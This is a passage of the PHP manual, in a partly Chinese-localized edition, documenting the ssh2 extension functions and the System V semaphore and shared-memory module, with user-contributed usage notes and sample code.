例子 1. Executing a command

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_exec($connection, '/usr/local/bin/php -i');
?>

See Also:
ssh2_connect(),
ssh2_shell(), and
ssh2_tunnel()

add a note add a note User Contributed Notes
tabber dot watts at gmail dot com
03-Dec-2005 07:21
This is the best way I found to automatically run multiple commands or commands that might take longer then expected.  NOTE: this assumes that no where in the output is there the text '[end]' otherwise the function will end prematurely.  Hope this helps people.

<?php
$ip = 'ip_address';
$user = 'username';
$pass = 'password';

$connection = ssh2_connection($ip);
ssh2_auth_password($connection,$user,$pass);
$shell = ssh2_shell($connection,"bash");

//Trick is in the start and end echos which can be executed in both *nix and windows systems.
//Do add 'cmd /C' to the start of $cmd if on a windows system.
$cmd = "echo '[start]';your commands here;echo '[end]'";
$output = user_exec($shell,$cmd);

fclose($shell);

function user_exec($shell,$cmd) {
  fwrite($shell,$cmd . "\n");
  $output = "";
  $start = false;
  $start_time = time();
  $max_time = 2; //time in seconds
  while(((time()-$start_time) < $max_time)) {
   $line = fgets($shell);
   if(!strstr($line,$cmd)) {
     if(preg_match('/\[start\]/',$line)) {
       $start = true;
     }elseif(preg_match('/\[end\]/',$line)) {
       return $output;
     }elseif($start){
       $output[] = $line;
     }
   }
  }
}

?>
gakksimian at yahoo dot com
08-Sep-2005 01:15
Executing remote Windows commands...
After some hair pulling, I thought I'd suggest a couple things that might help others:

1. Use 'ssh2_fetch_stream' to open a stderr stream according to the manual.
2. Windows shell commands require 'cmd /C [command]' to execute.  (I had forgotten this)

<?php
   // code fragment
   $stdout_stream = ssh2_exec($connection, 'cmd /C dir');
   $stderr_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);
?>

I didn't realize the need for the 'cmd /C' until I saw the stderr response 'dir: not found'.
yairl at savion dot huji dot ac dot il
09-Jun-2005 08:03
If you want to run many exec orders throught ssh2 in the same process using the same variable $stream for exemple and to read the output for each order, you must close the stream after each order else you will not be able to read the next order output.

 $stream=ssh2_exec($conn_id,"/usr/bin/ls .");
   stream_set_blocking( $stream, true );
   $cmd=fread($stream,4096);
fclose($stream);

if(ereg("public_html",$cmd)){
...........................................
}

 $stream=ssh2_exec($conn_id,"/usr/bin/ls public_html");
   stream_set_blocking( $stream, true );
   $cmd=fread($stream,4096);
fclose($stream);

if(ereg("images",$cmd)){
..........................................
}

$stream=ssh2_exec($conn_id,"/usr/bin/ls public_html/images");
   stream_set_blocking( $stream, true );
   $cmd=fread($stream,4096);
fclose($stream);

if(ereg("blabla",$cmd)){
..........................................
}
add a note add a note

后退 | 起点 | 前进
ssh2_connect | 上一级 | ssh2_fetch_stream


ssh2_fetch_stream

(PECL)

ssh2_fetch_stream -- Fetch an extended data stream

Description

resource ssh2_fetch_stream ( resource channel, int streamid )

Fetches an alternate substream associated with an SSH2 channel stream identified by streamid. The SSH2 protocol currently defines only one substream, STDERR, which has a substream ID of SSH2_STREAM_STDERR (defined as 1).

例子 1. Opening a shell and retrieving the stderr stream associated with it.

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stdio_stream = ssh2_shell($connection);
$stderr_stream = ssh2_fetch_stream($stdio_stream, SSH2_STREAM_STDERR);
?>

See Also:
ssh2_shell(),
ssh2_exec(), and
ssh2_connect()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_exec | 上一级 | ssh2_fingerprint


ssh2_fingerprint

(PECL)

ssh2_fingerprint -- Retreive fingerprint of remote server

Description

string ssh2_fingerprint ( resource session [, int flags] )

Returns a server hostkey hash from an active session. Defaults to MD5 fingerprint encoded as ASCII hex values.

flags may be either of SSH2_FINGERPRINT_MD5 or SSH2_FINGERPRINT_SHA1 logically ORed with SSH2_FINGERPRINT_HEX or SSH2_FINGERPRINT_RAW. Defaults to SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX.

例子 1. Checking the fingerprint against a known value

<?php
$known_host = '6F89C2F0A719B30CC38ABDF90755F2E4';

$connection = ssh2_connect('shell.example.com', 22);

$fingerprint = ssh2_fingerprint($connection,
               SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX);

if ($fingerprint != $known_host) {
  die("HOSTKEY MISMATCH!\n" .
      "Possible Man-In-The-Middle Attack?");
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_fetch_stream | 上一级 | ssh2_methods_negotiated


ssh2_methods_negotiated

(PECL)

ssh2_methods_negotiated -- Return list of negotiated methods

Description

array ssh2_methods_negotiated ( resource session )

Returns list of negotiated methods.

例子 1. Determining what methods were negotiated

<?php
$connection = ssh2_connect('shell.example.com', 22);
$methods = ssh2_methods_negotiated($connection);

echo "Encryption keys were negotiated using: {$methods['kex']}\n";
echo "Server identified using an {$methods['hostkey']} with ";
echo "fingerprint: " . ssh2_fingerprint($connection) . "\n";

echo "Client to Server packets will use methods:\n";
echo "\tCrypt: {$methods['client_to_server']['crypt']}\n";
echo "\tComp: {$methods['client_to_server']['comp']}\n";
echo "\tMAC: {$methods['client_to_server']['mac']}\n";

echo "Server to Client packets will use methods:\n";
echo "\tCrypt: {$methods['server_to_client']['crypt']}\n";
echo "\tComp: {$methods['server_to_client']['comp']}\n";
echo "\tMAC: {$methods['server_to_client']['mac']}\n";

?>

See Also: ssh2_connect()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_fingerprint | 上一级 | ssh2_publickey_add


ssh2_publickey_add

(PECL)

ssh2_publickey_add -- Add an authorized publickey

说明

bool ssh2_publickey_add ( resource pkey, string algoname, string blob [, bool overwrite [, array attributes]] )

注: 公钥系统用于管理服务器上的客户已经被认证的公钥。要用公钥认证方法在远程系统上认证，应该用 ssh2_auth_pubkey_file() 函数。

参数

pkey

Publickey Subsystem resource created by ssh2_publickey_init().

algoname

Publickey algorithm (e.g.): ssh-dss, ssh-rsa

blob

Publickey blob as raw binary data

overwrite

If the specified key already exists, should it be overwritten?

attributes

Associative array of attributes to assign to this public key. Refer to ietf-secsh-publickey-subsystem for a list of supported attributes. To mark an attribute as mandatory, preceed its name with an asterix. If the server is unable to support an attribute marked mandatory, it will abort the add process.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Adding a publickey with ssh2_publickey_add()

<?php
$ssh2 = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($ssh2, 'jdoe', 'password');
$pkey = ssh2_publickey_init($ssh2);

$keyblob = base64_decode('
AAAAB3NzaC1yc2EAAAABIwAAAIEA5HVt6VqSGd5PTrLRdjNONxXH1tVFGn0
Bd26BF0aCP9qyJRlvdJ3j4WBeX4ZmrveGrjMgkseSYc4xZ26sDHwfL351xj
zaLpipu\BGRrw17mWVBhuCExo476ri5tQFzbTc54VEHYckxQ16CjSTibI5X
69GmnYC9PNqEYq/1TP+HF10=');

ssh2_publickey_add($ssh2, 'ssh-rsa', $keyblob, false, array('comment'=>"John's Key"));
?>

参见

ssh2_publickey_init()
ssh2_publickey_remove()
ssh2_publickey_list()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_methods_negotiated | 上一级 | ssh2_publickey_init


ssh2_publickey_init

(PECL)

ssh2_publickey_init -- Initialize Publickey subsystem

说明

resource ssh2_publickey_init ( resource session )

Request the Publickey subsystem from an already connected SSH2 server.

The publickey subsystem allows an already connected and authenticated client to manage the list of authorized public keys stored on the target server in an implementation agnostic manner. If the remote server does not support the publickey subsystem, the ssh2_publickey_init() function will return FALSE.

注: 公钥系统用于管理服务器上的客户已经被认证的公钥。要用公钥认证方法在远程系统上认证，应该用 ssh2_auth_pubkey_file() 函数。

返回值

Returns an SSH2 Publickey Subsystem resource for use with all other ssh2_publickey_*() methods.

参见

ssh2_publickey_add()
ssh2_publickey_remove()
ssh2_publickey_list()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_publickey_add | 上一级 | ssh2_publickey_list


ssh2_publickey_list

(PECL)

ssh2_publickey_list -- List currently authorized publickeys

说明

array ssh2_publickey_list ( resource pkey )

注: 公钥系统用于管理服务器上的客户已经被认证的公钥。要用公钥认证方法在远程系统上认证，应该用 ssh2_auth_pubkey_file() 函数。

参数

pkey

Publickey Subsystem resource

返回值

Returns a numericly indexed array of keys, each of which is an associative array containing: name, blob, and attrs elements.

表格 1. Publickey elements

Array Key | Meaning
name | Name of algorithm used by this publickey, for example: ssh-dss or ssh-rsa.
blob | Publickey blob as raw binary data.
attrs | Attributes assigned to this publickey. The most common attribute, and the only one supported by publickey version 1 servers, is comment, which may be any freeform string.

范例

例子 1. Listing authorized keys with ssh2_publickey_list()

<?php
$ssh2 = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($ssh2, 'jdoe', 'secret');
$pkey = ssh2_publickey_init($ssh2);

$list = ssh2_publickey_list($pkey);

foreach($list as $key) {
  echo "Key: {$key['name']}\n";
  echo "Blob: " . chunk_split(base64_encode($key['blob']), 40, "\n") . "\n";
  echo "Comment: {$key['attrs']['comment']}\n\n";
}
?>

上例将输出：

Key: ssh-rsa
Blob: AAAAB3NzaC1yc2EAAAABIwAAAIEA5HVt6VqSGd5P
TrLRdjNONxXH1tVFGn0Bd26BF0aCP9qyJRlvdJ3j
4WBeX4ZmrveGrjMgkseSYc4xZ26sDHwfL351xjza
Lpipu\BGRrw17mWVBhuCExo476ri5tQFzbTc54VE
HYckxQ16CjSTibI5X69GmnYC9PNqEYq/1TP+HF10
Comment: John's Key

Key: ssh-rsa
Blob: AAAAB3NzaHVt6VqSGd5C1yc2EAAAABIwA232dnJA
AIEA5HVt6VqSGd5PTrLRdjNONxX/1TP+HF1HVt6V
qSGd50H1tVFGn0BB3NzaC1yc2EAd26BF0aCP9qyJ
RlvdJ3j4WBeX4ZmrveGrjMgkseSYc4xZ26HVt6Vq
SGd5sDHwfL351xjzaLpipu\BGB3NzaC1yc2EA/1T
Comment: Alice's Key

参见

ssh2_publickey_init()
ssh2_publickey_add()
ssh2_publickey_remove()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_publickey_init | 上一级 | ssh2_publickey_remove


ssh2_publickey_remove

(PECL)

ssh2_publickey_remove -- Remove an authorized publickey

说明

bool ssh2_publickey_remove ( resource pkey, string algoname, string blob )

注: 公钥系统用于管理服务器上的客户已经被认证的公钥。要用公钥认证方法在远程系统上认证，应该用 ssh2_auth_pubkey_file() 函数。

参数

pkey

Publickey Subsystem Resource

algoname

Publickey algorithm (e.g.): ssh-dss, ssh-rsa

blob

Publickey blob as raw binary data

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ssh2_publickey_init()
ssh2_publickey_add()
ssh2_publickey_list()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_publickey_list | 上一级 | ssh2_scp_recv


ssh2_scp_recv

(PECL)

ssh2_scp_recv -- Request a file via SCP

Description

bool ssh2_scp_recv ( resource session, string remote_file, string local_file )

Copy a file from the remote server to the local filesystem using the SCP protocol.

例子 1. Downloading a file via SCP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

ssh2_scp_recv($connection, '/remote/filename', '/local/filename');
?>

See Also: ssh2_scp_send(), and copy()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_publickey_remove | 上一级 | ssh2_scp_send


ssh2_scp_send

(PECL)

ssh2_scp_send -- Send a file via SCP

Description

bool ssh2_scp_send ( resource session, string local_file, string remote_file [, int create_mode] )

Copy a file from the local filesystem to the remote server using the SCP protocol. The file will be created with the mode specified by create_mode.

例子 1. Uploading a file via SCP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

ssh2_scp_send($connection, '/local/filename', '/remote/filename', 0644);
?>

See Also: ssh2_scp_recv(), and copy()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_scp_recv | 上一级 | ssh2_sftp_lstat


ssh2_sftp_lstat

(PECL)

ssh2_sftp_lstat -- Stat a symbolic link

Description

array ssh2_sftp_lstat ( resource sftp, string path )

Stats a symbolic link on the remote filesystem without following the link. This function is similar to using the lstat() function with the ssh2.sftp:// wrapper in PHP5 and returns the same values. See the documentation for stat() for details on the values which may be returned.

例子 1. Stating a symbolic link via SFTP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);
$statinfo = ssh2_lstat($sftp, '/path/to/symlink');

$filesize = $statinfo['size'];
$group = $statinfo['gid'];
$owner = $statinfo['uid'];
$atime = $statinfo['atime'];
$mtime = $statinfo['mtime'];
$mode = $statinfo['mode'];
?>

See Also:
ssh2_sftp_stat(),
lstat(), and
stat()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_scp_send | 上一级 | ssh2_sftp_mkdir


ssh2_sftp_mkdir

(PECL)

ssh2_sftp_mkdir -- Create a directory

Description

bool ssh2_sftp_mkdir ( resource sftp, string dirname [, int mode [, bool recursive]] )

Creates a directory on the remote file server with permissions set to mode. If recursive is TRUE any parent directories required for dirname will be automatically created as well. This function is similar to using mkdir() with the ssh2.sftp:// wrapper.

例子 1. Creating a directory on a remote server

<?php
$connection = ssh2_connet('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_mkdir($sftp, '/home/username/newdir');
/* Or:  mkdir("ssh2.sftp://$sftp/home/username/newdir"); */
?>

See Also: mkdir(), and ssh2_sftp_rmdir()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_sftp_lstat | 上一级 | ssh2_sftp_readlink


ssh2_sftp_readlink

(PECL)

ssh2_sftp_readlink -- Return the target of a symbolic link

Description

string ssh2_sftp_readlink ( resource sftp, string link )

Returns the target of a symbolic link.

例子 1. Reading a symbolic link

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

$target = ssh2_sftp_readlink($sftp, '/tmp/mysql.sock');
/* $target is now (e.g.): '/var/run/mysql.sock' */
?>

See Also: readlink(), and ssh2_sftp_symlink()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_sftp_mkdir | 上一级 | ssh2_sftp_realpath


ssh2_sftp_realpath

(PECL)

ssh2_sftp_realpath -- Resolve the realpath of a provided path string

Description

string ssh2_sftp_realpath ( resource sftp, string filename )

Translates filename into the effective real path on the remote filesystem.

例子 1. Resolving a pathname

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

$realpath = ssh2_sftp_realpath($sftp, '/home/username/../../../..//./usr/../etc/passwd');
/* $realpath is now: '/etc/passwd' */
?>

See Also:
realpath(), and
ssh2_sftp_symlink()
ssh2_sftp_readlink()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_sftp_readlink | 上一级 | ssh2_sftp_rename


ssh2_sftp_rename

(PECL)

ssh2_sftp_rename -- Rename a remote file

Description

bool ssh2_sftp_rename ( resource sftp, string from, string to )

Renames a file on the remote filesystem.

例子 1. Renaming a file via sftp

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_rename($sftp, '/home/username/oldname', '/home/username/newname');
?>

See Also: rename()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_sftp_realpath | 上一级 | ssh2_sftp_rmdir


ssh2_sftp_rmdir

(PECL)

ssh2_sftp_rmdir -- Remove a directory

Description

bool ssh2_sftp_rmdir ( resource sftp, string dirname )

Removes a directory from the remote file server. This function is similar to using rmdir() with the ssh2.sftp:// wrapper.

例子 1. Removing a directory on a remote server

<?php
$connection = ssh2_connet('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_rmdir($sftp, '/home/username/deltodel');
/* Or:  rmdir("ssh2.sftp://$sftp/home/username/dirtodel"); */
?>

See Also: rmdir(), and ssh2_sftp_mkdir()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_sftp_rename | 上一级 | ssh2_sftp_stat


ssh2_sftp_stat

(PECL)

ssh2_sftp_stat -- Stat a file on a remote filesystem

Description

array ssh2_sftp_stat ( resource sftp, string path )

Stats a file on the remote filesystem following any symbolic links. This function is similar to using the stat() function with the ssh2.sftp:// wrapper in PHP5 and returns the same values. See the documentation for stat() for details on the values which may be returned.

例子 1. Stating a file via SFTP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);
$statinfo = ssh2_stat($sftp, '/path/to/symlink');

$filesize = $statinfo['size'];
$group = $statinfo['gid'];
$owner = $statinfo['uid'];
$atime = $statinfo['atime'];
$mtime = $statinfo['mtime'];
$mode = $statinfo['mode'];
?>

See Also:
ssh2_sftp_lstat(),
lstat(), and
stat()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_sftp_rmdir | 上一级 | ssh2_sftp_symlink


ssh2_sftp_symlink

(PECL)

ssh2_sftp_symlink -- Create a symlink

Description

bool ssh2_sftp_symlink ( resource sftp, string target, string link )

Creates a symbolic link named link on the remote filesystem pointing to target.

例子 1. Creating a symbolic link

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_symlink($sftp, '/var/run/mysql.sock', '/tmp/mysql.sock');
?>

See Also: symlink(), and ssh2_sftp_readlink()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_sftp_stat | 上一级 | ssh2_sftp_unlink


ssh2_sftp_unlink

(PECL)

ssh2_sftp_unlink -- Delete a file

Description

bool ssh2_sftp_unlink ( resource sftp, string filename )

Deletes a file on the remote filesystem

例子 1. Deleting a file

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_unlink($sftp, '/home/username/stale_file');
?>

See Also: unlink()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_sftp_symlink | 上一级 | ssh2_sftp


ssh2_sftp

(PECL)

ssh2_sftp -- Initialize SFTP subsystem

Description

resource ssh2_sftp ( resource session )

Request the SFTP subsystem from an already connected SSH2 server.

This method returns an SSH2 SFTP resource for use with all other ssh2_sftp_*() methods and the ssh2.sftp:// fopen wrapper.

例子 1. Opening a file via SFTP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);

$stream = fopen("ssh2.sftp://$sftp/path/to/file", 'r');
?>

See Also: ssh2_scp_send(), and ssh2_scp_recv()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_sftp_unlink | 上一级 | ssh2_shell


ssh2_shell

(PECL)

ssh2_shell -- Request an interactive shell

Description

resource ssh2_shell ( resource session [, string term_type [, array env [, int width [, int height [, int width_height_type]]]]] )

Open a shell at the remote end and allocate a stream for it. term_type should correspond to one of the entries in the target system's /etc/termcap file and defaults to vanilla. env may be passed as an associative array of name/value pairs to set in the target environment.

width, and height define the width and height of the virtual terminal allocated for the shell process. width_height_type should be one of SSH2_TERM_UNIT_CHARS or SSH2_TERM_UNIT_PIXELS.

例子 1. Executing a command

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_shell($connection, 'vt102', null, 80, 24, SSH2_TERM_UNIT_CHARS);
?>

See Also:
ssh2_exec(),
ssh2_tunnel(), and
ssh2_fetch_stream()

add a note add a note User Contributed Notes
webmaster at spectreanime dot com
08-Jun-2005 04:38
// Connection to SSH server
       echo "Connexion SSH ";
       if (!($resource=@ssh2_connect("192.168.0.1"))) {
               echo "[FAILED]<br />";
               exit(1);
       }
       echo "[OK]<br />";

       // Authentification by login/passwd
       echo "Authentification ";
       if (!@ssh2_auth_password($resource,"root","your_password")) {
               echo "[FAILED]<br />";
               exit(1);
       }
       echo "[OK]<br />";

       // We need a shell
       echo "Shell stdio ";
       if (!($stdio = @ssh2_shell($resource,"xterm"))) {
               echo "[FAILED]<br />";
               exit(1);
       }
       echo "[OK]<br />";

       // Execution of any command
       // Be careful to add an '\n' at the  end of the command
       $command = "/bin/ls /tmp\n";
       fwrite($stdio,$command);

       // IMPORTANT
       // For some obscur reasons, just after ur command, u need to make a sleep to be sure, that the command has reached the server and is running
       sleep(1);

       // Then u can fetch the stream to see what happens on stdio
       while($line = fgets($stdio)) {
               flush();
               echo $line."<br />";
       }

       // It's always cleaner to close all stream
       fclose($stdio);

I truly hope i'll help someone :)
suri at suribala dot com
14-Feb-2005 09:03
Using ssh_exec, one could execute only one command at a time. However, ssh_shell, offers greater flexibility.

Here is an example:

<?php

$con=ssh2_connect('192.168.0.1', 22);
ssh2_auth_password($con, "user", "password");
$shell=ssh2_shell($con, 'xterm');
fwrite( $shell, "cd /dir_one\n");
fwrite( $shell, "ls -la\n");
fwrite( $shell, "cd /dir_two\n");
fwrite( $shell, "ls -la\n");

?>

Thanks Sara for your implementation and your help !
add a note add a note

后退 | 起点 | 前进
ssh2_sftp | 上一级 | ssh2_tunnel


ssh2_tunnel

(PECL)

ssh2_tunnel -- Open a tunnel through a remote server

Description

resource ssh2_tunnel ( resource session, string host, int port )

Open a socket stream to an arbitrary host/port by way of the currently connected SSH server.

例子 1. Opening a tunnel to an arbitrary host

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_pubkey_file($connection, 'username', 'id_dsa.pub', 'id_dsa');

$tunnel = ssh2_tunnel($connection, '10.0.0.101', 12345);
?>

See Also: ssh2_connect(), and fsockopen()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_shell | 上一级 | Semaphore, Shared Memory and IPC Functions


Semaphore, Shared Memory and IPC Functions

PHP 手册
后退 前进

CXXIX. Semaphore, Shared Memory and IPC Functions

简介

This module provides wrappers for the System V IPC family of functions. It includes semaphores, shared memory and inter-process messaging (IPC).

Semaphores may be used to provide exclusive access to resources on the current machine, or to limit the number of processes that may simultaneously use a resource.

This module provides also shared memory functions using System V shared memory. Shared memory may be used to provide access to global variables. Different httpd-daemons and even other programs (such as Perl, C, ...) are able to access this data to provide a global data-exchange. Remember, that shared memory is NOT safe against simultaneous access. Use semaphores for synchronization.

表格 1. Limits of Shared Memory by the Unix OS

SHMMAX | max size of shared memory, normally 131072 bytes
SHMMIN | minimum size of shared memory, normally 1 byte
SHMMNI | max amount of shared memory segments on a system, normally 100
SHMSEG | max amount of shared memory segments per process, normally 6

The messaging functions may be used to send and receive messages to/from other processes. They provide a simple and effective means of exchanging data between processes, without the need for setting up an alternative using Unix domain sockets.

注: 本扩展模块在 Windows 平台下不可用。

需求

要编译本扩展模块不需要外部库文件。

安装

Support for this functions are not enabled by default. To enable System V semaphore support compile PHP with the option --enable-sysvsem. To enable the System V shared memory support compile PHP with the option --enable-sysvshm. To enable the System V messages support compile PHP with the option --enable-sysvmsg.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 2. Semaphore Configuration Options

Name | Default | Changeable | Changelog
sysvmsg.value | "42" | PHP_INI_ALL |
sysvmsg.string | "foobar" | PHP_INI_ALL |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

资源类型

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

表格 3. System V message constants

Constant | Type
MSG_IPC_NOWAIT | integer
MSG_NOERROR | integer
MSG_EXCEPT | integer

目录
ftok -- Convert a pathname and a project identifier to a System V IPC key
msg_get_queue -- Create or attach to a message queue
msg_receive -- Receive a message from a message queue
msg_remove_queue -- Destroy a message queue
msg_send -- Send a message to a message queue
msg_set_queue -- Set information in the message queue data structure
msg_stat_queue -- Returns information from the message queue data structure
sem_acquire -- Acquire a semaphore
sem_get -- Get a semaphore id
sem_release -- Release a semaphore
sem_remove -- Remove a semaphore
shm_attach -- Creates or open a shared memory segment
shm_detach -- Disconnects from shared memory segment
shm_get_var -- Returns a variable from shared memory
shm_put_var -- Inserts or updates a variable in shared memory
shm_remove_var -- Removes a variable from shared memory
shm_remove -- Removes shared memory from Unix systems

add a note add a note User Contributed Notes
chrissavery at removeme dot gmail dot com
03-Jun-2006 04:18
I was confused by two things that caused strange behaviour in my use of semaphores with php scripts running under apache.

Often enough page requests will end up being filled by the same process as other simultaneous requests. So semaphores will block when you may not have expected.

Also note that sem_remove() will remove it for all processes, not just the calling one. So you have to be sure that the last process running removes the semaphore and none before. I thought there was some failures occurring when my child processes were dropping out with errors.

So you can't just use get, acquire, release, remove in one script that will be hit by a web user. (1) They may end up in the same process and will wait on the other, and (2) the first one to finish will destroy the semaphore for others.

I left out the remove call, and it works ok, but I still wonder if the semaphore is removed by php when the last script that did a get finishes? Also creating a child process to do the work using proc_open works to ensure seperate processes but to be careful you would want to limit the number somehow as well.
Denis Gerasimov
02-Nov-2005 08:19
Many (most?) developers use Win32 platform for PHP Web applications development while production servers mostly run Unix/Linux OS. Below is the stub code I use to make it possible to write scripts on Win32 that use semaphores:

<?php

if (substr(PHP_OS, 0, 3) == 'WIN') {  // if Windows OS detected

   function ftok($pathname, $proj)
   {
       if (empty($pathname) || !file_exists($pathname)) {  // an error occured
           return -1;
       }

       $pathname = $pathname . (string) $proj;
       $key = array();
       while (sizeof($key) < strlen($pathname)) {
           $key[] = ord(substr($pathname, sizeof($key), 1));
       }

       return dechex(array_sum($key));
   }

   function sem_acquire($sem_identifier)
   {
       return true;
   }

   function sem_get($key, $max_acquire = null, $perm = null, $auto_release = null)
   {
       return true;
   }

   function sem_release($sem_identifier)
   {
       return true;
   }

   function sem_remove($sem_identifier)
   {
       return true;
   }

}

?>

Of course, there is no way to test semaphores until you have no Unix/Linux test server.
p4nzer at yahoo dot com
01-Nov-2005 09:55
Actually, the way to lock a semaphore from C code appears to be:
<?
   struct sembuf semptr[2];

   if( (semid = semget(SEM_KEY, PHP_SEM_NEED_NUMBER, 0666 | IPC_CREAT)) < 0 ) {
       perror("semget");
       return 1;
   }

   semptr[0].sem_num = 0;
   semptr[0].sem_op = -1;
   semptr[0].sem_flg = SEM_UNDO;
   semptr[1].sem_num = 1;
   semptr[1].sem_op =  1;
   semptr[1].sem_flg = SEM_UNDO;

   if( semop(semid, &semptr[0], 2) < 0 ) {
   perror("semop");
   }
?>

PS: Disregard the <? and ?>, it's just for pretty printing... this is C code!
05-Feb-2004 12:25
Here is an article/tutorial on the subject:
http://www.php-mag.net/itr/online_artikel/psecom,id,448,nodeid,114
hcuevas at galenicom dot com
23-Oct-2003 10:49
Don't use semaphores to serialize access to an undefined number of resources. There is no way (yet) to know before locking if a semaphore is already locked, thus not being able to fully release the semaphore and occupying a semaphore resource for an undefined time.

A possible solution is to build a shared mem pool and store there the current number of locks for a semaphore id.

Cheers,
Horaci Cuevas
david () php net
09-Jul-2003 04:45
Here is a quick utility to dump the contents of a shm_ format memory segment:

http://www.davidc.net/php/shm/
Roman Laptev <tmp at laptev dot org>
02-Apr-2003 10:50
If you going to work with semaphore, which was created by some external program, you can try the following code for this program (C example):

#define SVSEM_MODE (SEM_R | SEM_A | SEM_R>>3 | SEM_R>>6) /* 0644 */
#define PHP_SEM_NEED_NUMBER 3

/*.......*/
int semid, semflag = SVSEM_MODE | IPC_CREAT | IPC_EXCL;
struct sembuf semptr;
union semun semopts;
/*.......*/
if( (semid = semget(sempath, PHP_SEM_NEED_NUMBER, semflag)) >= 0 ) {
  semopts.val = 1; /* initial value for sem */
  if( semctl( semid, 0, SETVAL, semopts) < 0 ) {/*error*/}
  if( semctl( semid, 1, SETVAL, semopts) < 0 ) {/*error*/}
  /* PHP wanna zero for its own semget at third sem.
   * look at ./PHP_SOURCE_PATH/ext/sysvsem/sysvsem.c
   */
  semopts.val = 0;
  if( semctl( semid, 2, SETVAL, semopts) < 0 ) {/*error*/}
}
else if(errno == EEXIST) { /* connect only  */
  if( (semid = semget(sempath, PHP_SEM_NEED_NUMBER, SVSEM_MODE | IPC_CREAT)) < 0 ) {/*error*/}
}
else {/*error*/}

/*.......*/
/* If you want acquire the sem */
  semptr.sem_num = 0;
  semptr.sem_op = -1; /* lock it */
  semptr.sem_flg = SEM_UNDO;
  while( semop(semid, &semptr, 1) < 0 ) {/*error*/}
/*.......*/

Thanks,
Roma
elran70 at hotmail dot com
23-Jun-2002 01:54
Samlpe code for using most of the functions here:

   $MEMSIZE    =  512;//  size of shared memory to allocate
   $SEMKEY    =  1;  //  Semaphore key
   $SHMKEY    =  2;  //  Shared memory key

   echo "Start.\n";
   // Get semaphore
   $sem_id = sem_get($SEMKEY, 1);
   if ($sem_id === false)
   {
       echo "Fail to get semaphore";
       exit;
   }
   else
       echo "Got semaphore $sem_id.\n";

   // Accuire semaphore
   if (! sem_acquire($sem_id))
   {
       echo "Fail to aquire semaphore $sem_id.\n";
       sem_remove($sem_id);
       exit;
   }
   else
       echo "Success aquire semaphore $sem_id.\n";

   $shm_id =  shm_attach($SHMKEY, $MEMSIZE);
   if ($shm_id === false)
   {
